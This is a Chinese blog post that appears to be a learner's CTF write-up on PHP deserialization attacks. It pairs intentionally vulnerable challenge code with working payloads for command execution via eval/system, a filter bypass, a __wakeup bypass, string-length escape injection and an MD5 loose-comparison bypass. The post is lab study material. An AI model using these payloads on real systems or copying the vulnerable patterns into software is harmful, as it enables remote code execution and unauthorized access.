大家好,欢迎来到IT知识分享网。
目录
1.简单序列化
<?php highlight_file(__FILE__); class test{ public $a = 'echo "this is test!!";'; public function displayVar() { eval($this->a); } } $a = $_GET["cmd"]; $b = unserialize($a); $b->displayVar();
得出结果O:4:””:1:{s:1:”a”;s:11:”system(ls);”;}
去执行
2.有过滤的序列化
<?php highlight_file(__FILE__); class test { public $a = 'echo "this is test!!";'; public function displayVar() { eval($this->a); } } $a = $_GET["cmd"]; if (preg_match('/\*|\?|flag/i', $a)) { die('hacker!!!'); } $b = unserialize($a); $b->displayVar();
查看当前目录,现在还是没有限制的,可随意查看
O:4:”test”:1:{s:1:”a”;s:13:”system(‘ls’);”;}
查看flag.php,先构造出来:
O:4:”test”:1:{s:1:”a”;s:23:”system(‘cat flag.php’);”;}
16禁止绕过(很重要的方法)
我们把O:4:”test”:1:{s:1:”a”;s:23:”system(‘cat flag.php’);”;}
改成O:4:”test”:1:{s:1:”a”;S:23:”system(‘cat \66lag.php’);”;}
注意,有一个s要大写
3.weakup绕过
<?php include 'flag.php'; highlight_file(__FILE__); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } $select = $_GET['select']; $res=unserialize(@$select);
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
select=O:4:”Name”:2:{s:14:”%00Name%00username”;s:5:”admin”;s:14:
“\x00Name\x00password”;i:100;}
账号对了,密码不对,哦!!我忘了修改密码的前缀了
select=O:4:”Name”:2:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
他说不对,我们自己调试,开启环境,修改部分代码
得出密码时100,账号经过函数调用,再weakup后变成了guest,而不是admin
我们进行weakup绕过,把2改成任意一个不是3的数就行
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
成功绕过
4.字符变多(难!!!)
这一题比较难,规律
关键点在第一个参数和n*6(hacker的长度)=n*5(admin的长度)+x(“;s:8:”password”;s:8:””;})
<?php include('flag.php'); highlight_file(__FILE__); function filter($s) { return str_replace('admin', 'hacker', $s); } class ctf{ public $username; public $password; public function __construct($username, $password){ $this -> username = $username; $this -> password = $password; } public function __wakeup(){ if($this -> password == '') { global $flag; echo $flag; die; } echo 'Fake admin'; } } $u = $_GET['u']; $p = $_GET['p']; if (strpos($u, 'admin') !== false){ $data = new ctf($u, $p); $a= unserialize(filter(serialize($data))); echo $a; }
“O:3:”ctf”:2:{s:8:”username”;s:5:”admin”;s:8:”password”;s:8:””;}”
“O:3:”ctf”:2:{s:8:”username”;s:5:”hacker”;s:8:”password”;s:8:””;}”
可以发现以前是5个字符,现在是6个字符,但是因为他filter(),改成了6,导致序列化失败。我们需要修改admin成其他的值让这个值的长度被hacker替换后,他的长度正确。
我们选择后面的一串,是33个字符。
我们增加33个admin,这样的话33*5=165个,hacker是6*33=198个还差33个
所以此时我们把“;s:8:”password”;s:8:””;}这33个字符加上,刚好198个
也就是
绕过后就是传参了,因为这次是两个参数,但是我们传一个就行,因为最后反序列化判断password的值,这个值已经被包含在$u里了,就是下面标红的部分,
u=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin“;s:8:”password”;s:8:””;}
下面也行
u=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin”;s:8:”password”;s:8:””;}&p=
5.字符变少(难!!!)
关键点在第二个参数和第二个参数的值所引起的闭合,使得长度:n*5(admin)=n*4(hack)+第二个参数所引起的变化
<?php include('flag.php'); highlight_file(__FILE__); function filter($s) { return str_replace('admin', 'hack', $s); } class ctf{ public $username; public $password; public function __construct($username, $password){ $this -> username = $username; $this -> password = $password; } public function __wakeup(){ if($this -> password == '') { global $flag; echo $flag; die; } echo 'Fake admin'; } } $u = $_GET['u']; $p = $_GET['p']; if (strpos($u, 'admin') !== false){ $data = new ctf($u, $p); unserialize(filter(serialize($data))); }
我们的思路是让输入的东西的长度变少,变长好办,增加呗,变少怎么办?
23个是指: “;s:8:”password”;s:33:”——多的这23个字符,把23个hack的长度补充到115
// “O:3:”ctf”:2:{s:8:”username”;s:115:”adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin”;s:8:”password”;s:33:””;s:8:”password”;s:8:””;}”;}”
// “O:3:”ctf”:2:{s:8:”username”;s:115:”hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack”;s:8:”password”;s:33:””;s:8:”password”;s:8:””;}”;}”
u=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin&p=”;s:8:”password”;s:8:””;}
6.反序列化md5绕过
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
class Flag{
public $user;
public $passwd;
public function __construct(){
$this->user = 'admin';
$this->passwd = '123456';
}
public function __wakeup()
{
$this->passwd = base64_encode($this->passwd);
}
public function __destruct()
{
if(md5($this->user)==md5($this->passwd) & $this->user != $this->passwd){
include ('flag.php');
echo $flag;
}else{
echo "error";
}
}
}
$b = $_GET['b'];
unserialize($b);
?>
方法1
这一题需要绕过__weakup和md5加密,我记得老师说过,MD5比较相等的话,可以利用0e开头的MD5密码于是我便自己尝试,对,还有一个前提,是==,而不是===判断就能用
O:4:”Flag”:2:{s:4:”user”;s:11:”sa”;s:6:”passwd”;s:7:”QNKCDZO”;}
得出flag{c2735cdb-67f3-479d-bf0f-b5a31b2c1a0a}
方法2
当MD5()遇见数组的时候,返回null所以md5比较也就绕过了;
但是user!=password,我们只需要让其中一个等于password=[1],让其中有一个有值就行;
然后最后要__weakup绕过,所以我们还需要修改变量个数的值
O:4:”Flag”:2:{s:4:”user”;a:0:{}s:6:”passwd”;a:1:{i:0;i:1;}}
上传也能成功,记得修改为3,绕过__weakup
7.ezpop(一个序列化魔术方法打卡题)
无法右键点击,左键也不行。无法f12,无法ctrl+u
无用的猜测
在地址栏中按ctrl+u
依次产看,没发现什么
方法1(修改js代码)
在地址栏中按F12
发现3个文件,多出来两个js文件(也可以在网络里去ctrl+f去搜索click me,因为他叫我们去点击啊,我们当然要找他啊)
搜索一下click
方法2
在地址栏里找这个图片,然后再右边去掉pointer-events: none;的对勾就行了
这一题有问题,暂时停工
问题
1.为什么多了一个ctf?
不应该时ctf,应该是info
至于为什么有,因为他是似有的,%00类名%00
2.序列化后只输出一半怎么办?
用urlencode()
3.为什么是33个admin?
admin变成hacker,总会多出一个字符,但是前面的字符判断却一直是5,前后不一致,就会报错
那怎么才能在过滤前(admin时)让长度变长,过滤后变短呢?
我们这里利用——先遇见;},就先闭合的机制。在长度计算上让admin的时候多增加>=2个字符,而实际闭合时是少算一点字符
原先是这样:”O:3:”ctf”:2:{s:8:”username”;s:7:”admin;}“;s:8:”password”;s:8:””;}
就是这样:”O:3:”ctf”:2:{s:8:”username”;s:7:”admin;}“;s:8:”password”;s:8:””;}
我们多加一个引号进行闭合,要不然会报错:
“O:3:”ctf”:2:{s:8:”username”;s:8:”admin“;}“;s:8:”password”;s:8:””;}
过滤后就变成:
“O:3:”ctf”:2:{s:8:”username”;s:8:”hacker“;}“;s:8:”password”;s:8:””;}
这样的话,这个8就大于以前的5,就不会出现真实值的长度小于前面的8
顺着这个思路,我们因为要O:3:”ctf”:2符合标红的二,不然他跳过__weakup,还得让密码时8个8。那我们在admin后面添加的字符就被限制住了
就只能是33个字符的“;s:8:”password”;s:8:””;}
我们构造
“O:3:”ctf”:2:{s:8:”username”;s:8:”admin”;s:8:”password”;s:8:””;}s:8:”password”;s:8:””;}
蓝色表示可有可无,这个蓝色也是password的值,因为前面先闭合了,这也是为什么password传不传参数的原因。不传的话就是
u=admin“;s:8:”password”;s:8:””;}
假设:n是代表有n个admin
33+5(此时n=1)=38
“O:3:”ctf”:2:{s:8:”username”;s:38:”admin”;s:8:”password”;s:8:””;}
过滤后
实际长度就是:33+6(此时n=1)=39
“O:3:”ctf”:2:{s:8:”username”;s:38:”hacker”;s:8:”password”;s:8:””;}
这不对啊,还差一个,不要急,你继续看。
为了让33+5n=6n,所以n只能等于33
4.为什么是23个admin?
同样的思路,但是
这次不能让他提前闭合,提前闭合的话,数会变大,但过滤后实际数会变小
O:3:”ctf”:2:{s:8:”username”;s:28:“admin”;s:8:”password”;s:33:”“;s:8:”password”;s:8:””;}“;}
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/124666.html